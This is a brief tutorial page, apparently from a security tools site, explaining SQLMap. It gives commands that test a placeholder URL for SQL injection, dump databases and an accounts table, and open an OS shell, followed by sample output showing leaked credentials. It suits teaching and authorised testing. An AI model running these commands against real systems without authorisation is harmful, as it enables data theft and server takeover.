What is SQLMap?
SQLMap is an open-source penetration testing tool that automates the process
of detecting and exploiting SQL injection vulnerabilities and taking over
database servers.
Common SQLMap Commands
# Test URL for SQL Injection
sqlmap -u "http://target.com/page.php?id=1"
# Dump all databases
sqlmap -u "http://target.com/page.php?id=1" --dbs
# List tables in a database
sqlmap -u "http://target.com/page.php?id=1" -D users --tables
# Dump table data
sqlmap -u "http://target.com/page.php?id=1" -D users -T accounts --dump
# Get OS shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell
Sample Exploitation Output
[INFO] testing connection to the target URL
[INFO] testing if parameter 'id' is injectable
[CRITICAL] parameter 'id' is vulnerable
Database: users
Table: accounts
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | admin | admin123 |
| 2 | test | test@123 |
+----+----------+------------+
Attack Phase Mapping
[ Web Exploitation ] → SQL Injection detection
[ Database Enumeration ] → Tables, users, hashes
[ Privilege Escalation ] → OS shell, file read/write
← Back to Tools
Home